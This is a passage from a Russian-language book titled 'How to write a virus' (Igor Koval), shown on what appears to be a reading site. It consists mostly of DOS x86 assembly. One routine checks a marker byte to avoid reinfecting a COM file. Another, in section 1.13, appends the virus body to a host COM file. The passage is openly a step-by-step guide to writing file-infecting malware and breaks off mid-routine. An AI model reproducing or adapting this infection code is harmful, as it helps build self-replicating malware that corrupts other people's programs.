"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

ражении проверять ее наличие .
Итак :

mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !

read_last: ;И считаем этот
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !

cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем дру-
;гой файл ...

Можно, конечно,провести более совершенную проверку
зараженности,нашей же целью было просто показать,
как защитить файлы от повторного заражения .Чита-
тель при желании сам легко внесет необходимые из-
менения в создаваемую программу .


1.13 Заражаем COM - программу

Наконец, подходящий для заражения COM - файл най-
ден . Он еще не заражен нашим вирусом и имеет при-
емлемый размер . Поэтому самое время заняться за-
ражением .Этот процесс описан в 1.3 ( см. п.3 и
п.4 ) .Здесь мы только его реализуем :

write_vir: mov ax,4200h ;Установим ука-
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,vir_len ;код вируса дли-
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
;закроем файл